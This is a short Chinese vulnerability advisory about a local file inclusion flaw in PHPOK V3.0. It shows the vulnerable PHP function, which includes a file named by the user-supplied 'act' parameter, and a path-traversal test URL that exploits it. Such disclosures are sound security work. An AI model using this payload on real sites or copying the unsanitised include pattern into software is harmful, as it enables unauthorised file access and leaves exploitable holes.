PHPOK V3.0本地包含漏洞
时间:2011-01-01 来源:心灵
发布日期:2011-01.01
发布作者:心灵
影响版本:PHPOK V3.0
官方网站:http://www.phpok.com
漏洞类型:文件包含
漏洞描述:PHPOK V3.0可直接包含文件
漏洞代码:app\www\control\js.php
function index_f()
{
$act = $this->trans_lib->safe("act");
if(file_exists(ROOT_JS.$act.".php"))
{
include(ROOT_JS.$act.".php");
}
else
{
echo "ERROR";
}
exit();
}
漏洞测试EXP:
http://site/index.php?c=js&f=index&act=/../123
标签分类:
相关阅读 更多 +
排行榜 更多 +